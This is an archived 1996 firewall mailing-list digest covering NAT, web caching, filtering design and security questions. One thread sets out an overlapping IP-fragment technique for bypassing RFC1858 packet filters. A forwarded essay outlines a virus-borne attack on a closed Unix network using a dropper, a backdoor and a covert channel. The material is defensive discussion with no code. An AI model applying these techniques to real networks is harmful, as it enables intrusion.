I'm interested in finding out any information on relating to 
NAT (Network Address Translation) programs preferably
to run on a Linux system; and the ip-fw package for linux.

If someone have more recent information on ip-fw package for
linux (or NAT for Linux) I'd appreciate a mail.


Thanks for your time,

Damian

_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
_/  damian@panoramix.fi.upm.es          Damian Ruiz Soriano         _/ 
_/      Caronte Proyect           Universidad Politecnica de Madrid _/
_/                                    Facultad de Informatica, CCFI _/
_/   PHO: (+34) (1) 336 7452             Campus de Montegancedo     _/ 
_/   FAX: (+34) (1) 336 7412      Boadilla del Monte E-28660 (SPAIN)_/
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/


From firewalls-owner  Tue Mar  5 02:37:24 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id CAA19228 for firewalls-outgoing; Tue, 5 Mar 1996 02:21:12 -0800 (PST)
Received: from mail-relay.scientia.com ([194.216.183.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id CAA19214 for <Firewalls@GreatCircle.COM>; Tue, 5 Mar 1996 02:20:59 -0800 (PST)
Received: by mail-relay.scientia.com  with SMTP id KAA03445 for <Firewalls@GreatCircle.COM>; Tue, 5 Mar 1996 10:19:37 GMT
Message-Id: <199603051019.KAA03445@mail-relay.scientia.com>
X-Sender: firewall@pop-server
X-Mailer: Windows Eudora Light Version 1.5.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Tue, 05 Mar 1996 10:19:17 +0000
To: Firewalls@GreatCircle.COM
From: Ian Miller <firewalls@scientia.com>
Subject: IP fragmentation attacks (was: Pentagon displays due
  respect...)
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

At 09:16 03/03/96 +0000, you wrote:
>If      you are doing something that needs to examine tcp flag bits
>and     the packet is a tcp packet
>and     the fragment offset in the IP header is 1
>then    consider the packet suspect (do whatever you do with evil stuff)
>
I know this is the RFC1858 solution and it stops _most_ fragmentation
attacks.  However it still lets one through.  I pointed this out to the RFC
authors two months ago, and the only reply that I got accepted it is
possible.  The attack is as follows:-

At least two fragments are sent. (It may require a third.)
A) FO=0 length >= 16  [i.e. A complete header ]
B) FO=0, length 8 bytes [i.e. Ports & Sequence number only]

A) contains a completely valid header (e.g. SMTP connection request ACK = 0)
B) contains what could be the start of a legal header for an existing connection
   only.  (e.g. both ports > 1023 if you allow outgoing PASV-FTP)

However the result of overwriting B with A is an illegal packet that the
attacker is trying to get through.  (e.g. Connecting to an X11 server)
For the attack to work the attacker must find a way of getting the host
under attack to combine the A with the rest of B.  He can try transmitting
in either order.  (Obviously if B is transmitted first, it must be less than
the whole message and there must be a third fragment with FO>1.)

Whether it is possible to achieve the attacker's intended recombination will
depend on the precise implementation of TCP the target host.  I have little
doubt that some TCP/IP stacks are vulnerable.  In any case, the TCP/IP
stacks on hosts behind a firewall should NOT be security critical
components.  If they are then the firewall has failed.  

I suspect that most filtering routers on the market are vulnerable to this
sort of attack.

Please tell me I am wrong.

Ian


From firewalls-owner  Tue Mar  5 02:52:12 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id CAA19856 for firewalls-outgoing; Tue, 5 Mar 1996 02:28:48 -0800 (PST)
Received: from srv-internet.ssb.it (srv-internet.ssb.it [192.106.128.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id CAA19843 for <Firewalls@GreatCircle.COM>; Tue, 5 Mar 1996 02:28:37 -0800 (PST)
Received: by srv-internet.ssb.it (8.6.11/SSB/UX-1.00)
	id LAA08255; Tue, 5 Mar 1996 11:44:38 +0100
Received: from email.ssb.it(192.106.129.170) by srv-internet.ssb.it via smap (V1.3)
	id sma008253; Tue Mar  5 11:44:13 1996
Message-ID: <n1386096519.70667@email.ssb.it.>
Date: 5 Mar 1996 11:34:07 U
From: "Fabio Omenigrandi" <Fabio_Omenigrandi@email.ssb.it>
Subject: Correction on prev msg- Sec
To: "FireWalls" <Firewalls@GreatCircle.COM>,
        "SET Discuss" <set-discuss@commerce.net>
X-Mailer: Mail*Link SMTP/QM 3.0.0
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

      S
        S
          B     Inter Office Memorandum                      5-03-1996  
11:21
 Oggetto:    Correction on prev msg: Security Module  

Thanks all for the responses.
I would like to have a second check for restrict the search. I'm searching
for
Security Module for PC. I haven't particular requirements for the PC, except
that it has to use DOS/Windows.
Thank You very much to all.

Fabio Omenigrandi
Security Analyst


From firewalls-owner  Tue Mar  5 03:31:13 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id DAA24301 for firewalls-outgoing; Tue, 5 Mar 1996 03:26:23 -0800 (PST)
Received: from cheops.anu.edu.au (cheops.anu.edu.au [150.203.76.24]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id DAA24041 for <Firewalls@GreatCircle.COM>; Tue, 5 Mar 1996 03:25:43 -0800 (PST)
Message-Id: <199603051125.DAA24041@miles.greatcircle.com>
Received: by cheops.anu.edu.au
	(1.37.109.16/16.2) id AA277385136; Tue, 5 Mar 1996 22:25:36 +1100
From: Darren Reed <avalon@coombs.anu.edu.au>
Subject: Re: IP fragmentation attacks (was: Pentagon displays due
To: firewalls@scientia.com (Ian Miller)
Date: Tue, 5 Mar 1996 21:25:35 +1000 (EST)
Cc: Firewalls@GreatCircle.COM
In-Reply-To: <199603051019.KAA03445@mail-relay.scientia.com> from "Ian Miller" at Mar 5, 96 10:19:17 am
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

In some mail from Ian Miller, sie said:
> 
> At 09:16 03/03/96 +0000, you wrote:
> >If      you are doing something that needs to examine tcp flag bits
> >and     the packet is a tcp packet
> >and     the fragment offset in the IP header is 1
> >then    consider the packet suspect (do whatever you do with evil stuff)
> >
> I know this is the RFC1858 solution and it stops _most_ fragmentation
> attacks.  However it still lets one through.  I pointed this out to the RFC
> authors two months ago, and the only reply that I got accepted it is
> possible.  The attack is as follows:-
> 
> At least two fragments are sent. (It may require a third.)
> A) FO=0 length >= 16  [i.e. A complete header ]
> B) FO=0, length 8 bytes [i.e. Ports & Sequence number only]
> 
> A) contains a completely valid header (e.g. SMTP connection request ACK = 0)
> B) contains what could be the start of a legal header for an existing
>    connection
>    only.  (e.g. both ports > 1023 if you allow outgoing PASV-FTP)
> 
> However the result of overwriting B with A is an illegal packet that the
> attacker is trying to get through.  (e.g. Connecting to an X11 server)
> For the attack to work the attacker must find a way of getting the host
> under attack to combine the A with the rest of B.  He can try transmitting
> in either order.  (Obviously if B is transmitted first, it must be less than
> the whole message and there must be a third fragment with FO>1.)
> 
> Whether it is possible to achieve the attacker's intended recombination will
> depend on the precise implementation of TCP the target host.  I have little
> doubt that some TCP/IP stacks are vulnerable.  In any case, the TCP/IP
> stacks on hosts behind a firewall should NOT be security critical
> components.  If they are then the firewall has failed.  
> 
> I suspect that most filtering routers on the market are vulnerable to this
> sort of attack.
> 
> Please tell me I am wrong.

This was the whole point of the RFC - to point out that these packets are
bad and that they probably shouldn't be forwarded.  However, it is beyond
the scope of a filtering router to presume it knows how the end point
reassembles its datagrams.  In the event that the above do go through and
presuming that the port comparisons are permitted on the "8 byte packet",
then the packet should be filtered _correctly_ for that given port pair.
It doesn't matter that you've over ridden an SMTP connection, because that
too must have been allowed through.  The main danger lies in trying to
filter on non-existant header data (ie TCP flags in the case of length = 8)
and passing through data which will change the state of the packet being
reassembled (FO=1).  The above attack doesn't change the state of a TCP
packet during reassembly, just the target service, which presumably is
allowed anyway.

I thus defined a "short" packet in IP Filter as being a packet that contains
an incomplete transport header, that it is too short or the frgament offset
is within the transport layer header (for TCP/UDP/ICMP).  If these packets
aren't blocked early, it will not attempt to match TCP flags if the FO!=0
and won't attempt to match the TCP flags if it is "short" (not enough data
present) but will otherwise check ports if FO=0 and there is at least 4
data bytes present.

In an unfiltered environment, what happens when packets are reassembled is
upto the implementation at that point, but I have not seen the source to
any which would have been (yet!) vulnerable to this attack.

This was all discussed in detail around a year ago on this very same
mailling list (took a few vendors a couple of shakes before they woke up :-)

However, I haven't seen anything prohibiting an MTU of 28 for a network
interface...

darren

From firewalls-owner  Tue Mar  5 05:01:35 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id EAA29401 for firewalls-outgoing; Tue, 5 Mar 1996 04:55:48 -0800 (PST)
Received: from ragnarok.hks.com (ragnarok.hks.com [192.101.199.9]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id EAA29396 for <firewalls@GreatCircle.COM>; Tue, 5 Mar 1996 04:55:44 -0800 (PST)
Received: from ragnarok (localhost [127.0.0.1]) by ragnarok.hks.com (8.7.3/8.7.3) with SMTP id HAA24811; Tue, 5 Mar 1996 07:54:11 -0500 (EST)
Message-ID: <313C3971.167E@hks.com>
Date: Tue, 05 Mar 1996 07:54:09 -0500
From: Jim Littlefield <little@hks.com>
Organization: Hibbitt, Karlsson & Sorensen, Inc.
X-Mailer: Mozilla 2.0 (X11; I; IRIX 5.3 IP20)
MIME-Version: 1.0
To: Dave Steele <daves@xetron.com>
CC: firewalls@GreatCircle.COM
Subject: Re: Web Caching Proxy Servers
References: <26407.199603040941@gpo.gb.swissbank.com> <daves-0403961321110001@dss_mac.xetron.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Dave Steele wrote:
> 
> I can't comment on throughput, but our network cache hit rate is very
> poor (about 10% with a 50 MB cache). So we are getting little benefit
> from the cache processing. If you have over 10-20 users, you should
> expect about the same number.

Interesting, I guess your milage will vary. We are averaging 30% hit
rate with ~120 users and a 100Mb cache (Harvest).Dave Steele wrote:

-- 
Jim Littlefield            "One time a cop pulled me over for running a
                            stop sign. He said, 'Didn't you see the stop
                            sign?' I said, 'Yeah, but I don't believe
                            everything I read.'" - Steven Wright

From firewalls-owner  Tue Mar  5 05:16:12 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA00407 for firewalls-outgoing; Tue, 5 Mar 1996 05:14:00 -0800 (PST)
Received: from eagle.wd.cubic.com (eagle.wd.Cubic.COM [149.63.94.9]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id FAA00402 for <Firewalls@GreatCircle.COM>; Tue, 5 Mar 1996 05:13:55 -0800 (PST)
Received: (mischler@localhost) by eagle.wd.cubic.com (8.6.9/8.3) id FAA06372; Tue, 5 Mar 1996 05:12:10 -0800
Date: Tue, 5 Mar 1996 05:12:10 -0800
From: Dave Mischler <mischler@eagle.wd.cubic.com>
Message-Id: <199603051312.FAA06372@eagle.wd.cubic.com>
To: avalon@coombs.anu.edu.au, firewalls@scientia.com
Subject: Re: IP fragmentation attacks (was: Pentagon displays due
Cc: Firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> However, I haven't seen anything prohibiting an MTU of 28 for a network
> interface...

RFC 791 defines the minimum MTU as 68 octets.  This is also referenced
by RFC 1191, and RFC 1533.

From firewalls-owner  Tue Mar  5 05:31:46 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA01184 for firewalls-outgoing; Tue, 5 Mar 1996 05:27:51 -0800 (PST)
Received: from ntigate.rich.nt.com (ntigate.nt.com [192.135.215.3]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id FAA01179 for <Firewalls@GreatCircle.com>; Tue, 5 Mar 1996 05:27:44 -0800 (PST)
X400-Received: by mta NT.COM in /PRMD=NT/ADMD=MCI/C=US/; Relayed;
               Tue, 5 Mar 1996 13:23:14 +0000
X400-Received: by /PRMD=NT/ADMD=MCI/C=US/; Relayed;
               Tue, 5 Mar 1996 13:21:57 +0000
X400-Received: by /PRMD=NT/ADMD=MCI/C=US/; Relayed;
               Tue, 5 Mar 1996 13:22:39 +0000
X400-Received: by /PRMD=NT/ADMD=MCI/C=US/; Relayed;
               Tue, 5 Mar 1996 13:18:19 +0000
Date: Tue, 5 Mar 1996 13:18:19 +0000
X400-Originator: Mike.Attayek.0199191@nt.com
X400-Recipients: non-disclosure:;
X400-MTS-Identifier: [/PRMD=NT/ADMD=MCI/C=US/;<n1386108333.70107@nrtpq01.rtp.n]
X400-Content-Type: P2-1984 (2)
Content-Identifier: None
From: Mike Attayek <Mike.Attayek.0199191@nt.com>
Message-ID: <n1386108333.70107@nrtpq01.rtp.nt.com>
To: Firewall Address <Firewalls@GreatCircle.COM>
Subject: None
X-Mailer: Mail*Link SMTP-QM 3.0.2
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"; Name="Message Body"
Content-Transfer-Encoding: quoted-printable
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

                                                       3/5/96
                                                       8:17 AM
                                     None

Our school system has a pilot WAN and internet access project with  a =
large telecommunications co.  We have, as they say, direct access to the =
internet, ie, no firewall.  Could someone elaborate on the risks which =
our school children may be exposed to by not operating behind a firewall?

Many thanks!

Mike Attayek
0199191@nt.com  


From firewalls-owner  Tue Mar  5 05:50:50 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA01829 for firewalls-outgoing; Tue, 5 Mar 1996 05:41:07 -0800 (PST)
Received: from postbox.anu.edu.au (postbox.anu.edu.au [150.203.76.16]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id FAA01815 for <Firewalls@GreatCircle.COM>; Tue, 5 Mar 1996 05:40:57 -0800 (PST)
Received: from coombs.anu.edu.au by postbox.anu.edu.au with SMTP
	(1.37.109.16/16.2) id AA007253159; Tue, 5 Mar 1996 23:39:19 +1000
From: Darren Reed <avalon@coombs.anu.edu.au>
Received: by coombs.anu.edu.au (1.38.193.4) id AA06498; Wed, 6 Mar 1996 00:39:18 +1100
Message-Id: <9603051339.AA06498@coombs.anu.edu.au>
Subject: Re: IP fragmentation attacks (was: Pentagon displays due
To: mischler@eagle.wd.cubic.com (Dave Mischler)
Date: Wed, 6 Mar 1996 00:39:18 +1100 (EDT)
Cc: Firewalls@GreatCircle.COM
In-Reply-To: <199603051312.FAA06372@eagle.wd.cubic.com> from "Dave Mischler" at Mar 5, 96 05:12:10 am
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

In some mail from Dave Mischler, sie said:
> 
> > However, I haven't seen anything prohibiting an MTU of 28 for a network
> > interface...
> 
> RFC 791 defines the minimum MTU as 68 octets.  This is also referenced
> by RFC 1191, and RFC 1533.

argh, not mentioned in 1122...

but still, with enough option `padding', is 4 data bytes.


From firewalls-owner  Tue Mar  5 07:20:37 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA05552 for firewalls-outgoing; Tue, 5 Mar 1996 06:58:16 -0800 (PST)
Received: from ford.gbnet.org (ford.gbnet.org [192.188.96.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id GAA05535 for <firewalls@GreatCircle.COM>; Tue, 5 Mar 1996 06:58:05 -0800 (PST)
Received: (from steve@localhost) by ford.gbnet.org (8.7.1/8.6.12) id OAA19985; Tue, 5 Mar 1996 14:55:27 GMT
From: Steve Kennedy <steve@gbnet.org>
Message-Id: <199603051455.OAA19985@ford.gbnet.org>
Subject: Re: Web Caching Proxy Servers
To: little@hks.com (Jim Littlefield)
Date: Tue, 5 Mar 1996 14:55:27 +0000 (GMT)
Cc: daves@xetron.com, firewalls@GreatCircle.COM
In-Reply-To: <313C3971.167E@hks.com> from "Jim Littlefield" at Mar 5, 96 07:54:09 am
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

According to Jim Littlefield

> Dave Steele wrote:
> > I can't comment on throughput, but our network cache hit rate is very
> > poor (about 10% with a 50 MB cache). So we are getting little benefit
> > from the cache processing. If you have over 10-20 users, you should
> > expect about the same number.
> Interesting, I guess your milage will vary. We are averaging 30% hit
> rate with ~120 users and a 100Mb cache (Harvest).Dave Steele wrote:

Demon Internet's cache is getting about 50% hit rate (60,000 customers),
this is current running CERN, but will like run Harvest soon.

Regards

Steve

-- 
home steve@gbnet.org       * Flat 2, 43 Howitt Road, Belsize Pk, London NW3 4LU
work steve@demon.net       * tel +44-(0)171 483 1169    FAX +44-(0)181 444 6103
www  http://www.gbnet.net/ * 
bits steve@gbnet.net       * Orange mobile +44-(0)973 600050
Euro firewall info - send mail to majordomo@gbnet.net  (subscribe firewalls-uk)

From firewalls-owner  Tue Mar  5 07:48:07 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA06640 for firewalls-outgoing; Tue, 5 Mar 1996 07:14:58 -0800 (PST)
Received: from tuna.wang.com (tuna.wang.com [150.124.136.4]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA06633 for <firewalls@GreatCircle.com>; Tue, 5 Mar 1996 07:14:54 -0800 (PST)
Received: from mail.wangfed.com (ns.wangfed.com [159.94.10.19])
    by tuna.wang.com (8.6.12/8.6.12tf1) with SMTP id KAA09386
    for <firewalls@GreatCircle.com>; Tue, 5 Mar 1996 10:13:21 -0500
Received: from hfsi.hfsi.com by mail.wangfed.com (1.37.109.4/A.09.00a)
	id AA29818; Tue, 5 Mar 96 10:03:46 -0600
Received: from [159.94.14.48] by hfsi.hfsi.com (BULL 5.61++/B.O.S 02.01)
	id AA22279; Tue, 5 Mar 96 10:08:13 -0500
Date: Tue, 5 Mar 96 10:08:13 -0500
Message-Id: <9603051508.AA22279@hfsi.hfsi.com>
From: "KM"  <goertzek@gateway.wangfed.com>
Reply-To: "KM"  <goertzek@wangfed.com>
To: firewalls@GreatCircle.com
Subject: Spoofing Subscriptions (fwd)
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

------------ Forwarded Message begins here ------------
From: Slemo Warigon <lonestar@RAIN.ORG>
Date:         Mon, 4 Mar 1996 12:49:26 -0800
To: Multiple recipients of list INFSEC-L 
<INFSEC-L%ETSUADMN.BITNET@uicvm.uic.edu>
Subject:      Spoofing Subscriptions

Someone has recently spoof-subscribed the U.S. president, vice-president
and first lady (president@whitehouse.gov, vice-president@whitehouse.gov,
and first.lady@whitehouse.gov) to various discussion lists on the
Internet listservs. If you manage a discussion list, please be aware of
this....... the White House Internet Services coordinator has been busy
unsubscribing the accounts from numerous lists.

Also, disregard any emails soliciting for info supposedly from these
accounts. 

------------ Forwarded Message ends here ------------

------------------------------------------------------
K.M. Goertzel
Manager, International Programmes and Special Projects
Secure Systems and Services Operation
Wang Federal, Inc.
7900 Westpark Drive - MS 700
McLean, Virginia  22102-4299
TEL: 703-827 3914
FAX: 703-827 3161
goertzek@wangfed.com
http://www.wangfed.com

+----------------------------------------------+
|                        ...I guessed not half |
| Life's symphony till I had made hearts beat, |
| And touched Love's body into trembling cries |
|                       -- Wilfred Owen, MUSIC |
+----------------------------------------------+


From firewalls-owner  Tue Mar  5 08:37:56 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA06488 for firewalls-outgoing; Tue, 5 Mar 1996 07:13:02 -0800 (PST)
Received: from tuna.wang.com (tuna.wang.com [150.124.136.4]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA06483 for <firewalls@GreatCircle.com>; Tue, 5 Mar 1996 07:12:57 -0800 (PST)
Received: from mail.wangfed.com (ns.wangfed.com [159.94.10.19])
    by tuna.wang.com (8.6.12/8.6.12tf1) with SMTP id KAA09345
    for <firewalls@GreatCircle.com>; Tue, 5 Mar 1996 10:11:27 -0500
Received: from hfsi.hfsi.com by mail.wangfed.com (1.37.109.4/A.09.00a)
	id AA29803; Tue, 5 Mar 96 10:01:47 -0600
Received: from [159.94.14.48] by hfsi.hfsi.com (BULL 5.61++/B.O.S 02.01)
	id AA21909; Tue, 5 Mar 96 10:05:56 -0500
Date: Tue, 5 Mar 96 10:05:56 -0500
Message-Id: <9603051505.AA21909@hfsi.hfsi.com>
From: "KM"  <goertzek@gateway.wangfed.com>
Reply-To: "KM"  <goertzek@wangfed.com>
To: firewalls@GreatCircle.com
Subject: [C4I-Pro] CVIRUS PART 3 OF 3 (fwd)
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

------------ Forwarded Message begins here ------------
                 SPLIT INTO THREE PARTS.   CVIRUS PART 3 OF 3

IP attack against a specific target on the same day at the same time then
there is no way to
stop the attack because it has originated from thousands of sites all of
which are live
hostages.  The site under attack will have to go off line since the
Internet service providers
will be helpless in the face of a coordinated dispersed attack.  Since the
impact against
each individual hostage system is low, the hostages may not even notice
that there is a
problem.  The Internet service provider attached to the target system is in
the best position
to detect the attack, however, they are as subject to this attack as the
target since they
may "crash" from the excessive bandwidth usage flooding their network from
multiple
sources.


10. SCENARIO OF A VIRUS ATTACK AGAINST A SECURE UNIX NETWORK

The military and many other companies believe that they are protected
against focused
attacks because they employ a closed network configuration.  In some cases
these
networks may also use highly secure "B" rated operating systems [NCSC-TG-006].
Typically, the network will not allow modems, Internet connections or have
any electronic
connections to organizations outside of the immediate need.  In addition,
the networks are
almost always heterogeneous because of legacy equipment, primarily PC
systems.  The
network designers normally allow the PC systems to retain their floppy disk
drives even
thought their attachment to a network renders them nonessential.  Networks
of this type
have been considered secure, however, they are open to information warfare
attacks via
focused virus.

Assuming that the perpetuator is an outsider without access to the
equipment or premises,
one possible method of attack against this type of network would take
advantage of both
the Typhoid Mary Syndrome and Transplatform Viruses to produce an attack
that is
targeted against the Unix systems but originated from an attached PC.  A
virus can be
created whose payload is triggered by executing on a PC that is attached to
the target
network.  This is not hard with a little inside information about the
configuration of the
network.  The perpetuator would then install the virus at all of the local
Universities in the
hope that someone working at the installation is taking a night class or
that one of their
children will unknowingly infect a common usage home computer.  At that
point, the virus
has a good chance of entering the target network.  This is a well known
vector and is
enhanced because the virus will not reveal itself.  Once on the target
system, the PC virus
will act like a dropper releasing a Unix virus into the backbone.  The
payload virus may be
necessary because many Unix backbone systems are not PC compatible.  The
Unix virus
payload can then install a backdoor which can be remotely directed.  In
addition, the virus
can create a covert channel by making use of messenger viruses.  While the
use of
messenger viruses are slow and have low bandwidth, they are bi-directional
and can be
used for command and control of more complex attacks.


10. CONCLUSION

I believe that the problem of attack software targeted against Unix systems
will continue
to grow.  Viruses may become more prevalent because they provide all of the
benefits of
other forms of attack, while having few drawbacks.  Transplatform viruses
may become
common as an effective attack.  All of the methods currently used in
creating MS-DOS
viruses can be ported to Unix.  This includes the creation of automated
CAD/CAM virus
tools, stealth, polymorphism and armor.  The future of viruses on Unix is
already hinted at
by the wide spread use of Bots and Kill-bots (slang term referring to
software robots).
These programs are able to move from system to system performing their
function.  Using
a Bot as a dropper or creating a virus that includes bot-like capability is
simple.  With the
advent of global networks, the edge between viruses, bots, worms and
Trojans will blur.
Attacks will be created that use abilities from all of these forms and
others to be
developed.  There have already been cases where people have used audit
tools such as
COPS and SATAN to attack a system.  Combining these tools with a virus CAD/CAM
program will allow a fully functional virus factory to create custom
viruses to attack
specific targets.

As these problems unfold, new methods of protection must be created.
Research has
hinted at several promising methods of protection, including real time
security monitors
that use artificial intelligence for simple decision making.  It is my hope
that these
problems never reach existence, but I am already testing them in an attempt
to devise
methods of counteracting them.  If I can create these programs, so can others.

Even with the current problems and the promise of more sophisticated
problems and
solutions in the future, the one thing that I believe to be certain is that
Unix or Unix-like
systems will continue to provide a payback that is well worth the cost of
operating them.

================================================================
                                                       END OF DOCUMENT
================================================================



------------ Forwarded Message ends here ------------

------------------------------------------------------
K.M. Goertzel
Manager, International Programmes and Special Projects
Secure Systems and Services Operation
Wang Federal, Inc.
7900 Westpark Drive - MS 700
McLean, Virginia  22102-4299
TEL: 703-827 3914
FAX: 703-827 3161
goertzek@wangfed.com
http://www.wangfed.com

+----------------------------------------------+
|                        ...I guessed not half |
| Life's symphony till I had made hearts beat, |
| And touched Love's body into trembling cries |
|                       -- Wilfred Owen, MUSIC |
+----------------------------------------------+


From firewalls-owner  Tue Mar  5 08:38:59 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA05887 for firewalls-outgoing; Tue, 5 Mar 1996 07:03:06 -0800 (PST)
Received: from mail.Clark.Net (mail.clark.net [168.143.0.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id HAA05882 for <Firewalls@GreatCircle.COM>; Tue, 5 Mar 1996 07:03:01 -0800 (PST)
Received: from clark.net (mjr@clark.net [168.143.0.7]) by mail.Clark.Net (8.7.3/8.6.5) with ESMTP id KAA20632 for <Firewalls@GreatCircle.COM>; Tue, 5 Mar 1996 10:01:22 -0500 (EST)
From: "Marcus J. Ranum" <mjr@clark.net>
Received: (from mjr@localhost) by clark.net (8.7.1/8.7.1) id KAA20760 for Firewalls@GreatCircle.COM; Tue, 5 Mar 1996 10:01:15 -0500 (EST)
Message-Id: <199603051501.KAA20760@clark.net>
Subject: Re: Eternal war: gateway versus filtering            
To: Firewalls@GreatCircle.COM
Date: Tue, 5 Mar 1996 10:01:10 -0500 (EST)
In-Reply-To: <199603050900.BAA13822@miles.greatcircle.com> from "firewalls-digest-owner@GreatCircle.COM" at Mar 5, 96 01:00:31 am
Reply-To: mjr@v-one.com
Organization: V-One Corporation, Baltimore, MD Office
Phone: 410-889-8569
X-Mailer: ELM [version 2.4 PL24alpha3]
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

kris@schulung.netuse.de writes: 
>Hmm, along your lines of argumentation application level
>gateways and dynamic packet filters are basically the same
>thing.

	Yes, they basically are, in general. The biggest
difference between the two is one of perception.

>A proper application level gateway has more information than
>anything operating on layer 4, though.

	That's simply not true. First off, you have to
ignore the notion of layers. When you're dealing with a
dynamic packet filter, there's no reason to assume that
just because it's implemented at a low level in the system
that it is actually doing only low level processing. For
example, to make FTP callback processing work in a dynamic
packet filter, the firewall has to look at application
data in the command stream, to pull out the PORT commands.
Thinking in terms of layers will only confuse people and
introduce all kinds of preconceptions. Fancy dynamic
packet filtering firewalls do NOT simply look at packet
headers, they keep lots of session state information lying
around in memory. Perhaps one of the Sunscreen folks or
Checkpoint folks could be persuaded to describe some detail
about what is preserved of each session. I strongly suspect
that about the same amount of stuff is kept for a session
as the kernel in a normal UNIX box keeps in a TCP socket
descriptor. If you step back far enough, I find it hard
to see a big difference between a state table that keeps
information about a connection's TCP state, and a socket
descriptor, which keeps information about a connection's
TCP state. Bits is bits. The question is: what do you DO
with them?

	The way to think about this stuff is by asking yourself:

	1) What kind of controls are applied on the connection?
	2) How closely is the validity of session data checked?
	3) Are the proper things logged and audited?
	4) Where there are protocol or application security
		flaws that the firewall can improve or protect,
		does it?

	The manner in which the firewall is implemented has
nothing (other than as an implementation detail) to do with
the answers to those questions. Let's look at them in order,
comparing fwtk against some prototypical dynamic packet
filter:

	1) Controls on connection -
		fwtk: IP address and port number (based on the
		netperm-table and what port the proxy is set
		to listen on in inetd.conf) Possible fine-grained
		control on application operations, based on
		application specific code in proxy.
		dpf: IP address and port number (based on the
		contents of the packet and internal permissions)
		Possible fine-grained control on application
		operations, based on application specific code
		in filter/state engine.

	2) Validity of session -
		fwtk: packets correctly sequenced and routed
		by TCP and IP. No means of applying session
		validity for UDP.
		dpf: packets correctly sequenced and routing
		decision made based on filter/state engine.
		Session validity for UDP may be provided on a
		case-by-case basis using application specific
		code in filter/state engine.
		
	3)  Logging -
		fwtk: based on connection/closure. Application
		specific logging supported by application
		specific code in proxy.
		dpf: based on connection/closure. Application
		specific logging supported by application
		specific code in filter/state engine.

	4) Application specific security features -
		fwtk: based on application specific code in
		proxy.
		dpf: based on application specific code in
		filter/state engine.

>And if it decides to make
>use of this advanced knowledge (that is: if it implements the
>protocol spoken on this connection instead of simply shuffling
>bytes to the real application behind the firewall) it has more
>opportunities to check, log and control the connections going
>inside.

	Dynamic packet filters do not simply shuffle packets.
Don't confuse the beasts with dumb router filters that only
understand packet headers: modern packet filtering firewalls
keep a lot more session state lying around than a router does.

>If you were using something like SMAP on the incoming SMTP port,
>you are operating at OSI layers 5 and 6. The gateway already does
>know about the protocol spoken at this port and can recognize
>and catch any protocol violations - something a packet filter
>will never be able to do.

	What is SMAP? ;)

	Seriously, though - that's another issue. Smap can only
catch the kind of protocol violations that it specifically has
code built into it to look for. It's inherently limited. :( I
am allowed to make that claim. :)

	The bottom line is that if your security means that
you have to write application specific code, it matters little
where the application specific code is written: the important
part is that it gets written at all.

>If you were to create some kind of secure http proxy for
>example, it would be a good idea to really parse the URLs passed
>to you instead of simply shuffling them to the server on the
>other side. If the URL passed to you had for example CGI
>parameters attached, you could find out shell metacharacters in
>them and try to kill them or translate them into their
>%-representations or reject all further requests from this site.

	You just described http-gw. :)

	I don't think that any dynamic packet filters that
are out there currently do such analysis. But that's a simple
matter of programming. It doesn't mean they're bad - it comes
down to a question of application support. That's a real problem
to wade through - but just because it's "application level"
doesn't make it good: what makes it good is the extra processing
that's thrown in as an application protocol specific security
feature.

	I was recently involved in a firewall consultation
where someone was implementing "security" that was "high
quality" because they had an "application level firewall"
in front of their web server - and were using plug-gw to
pipe HTTP stright through. Basically, it was a slow,
expensive router with good logging. :)
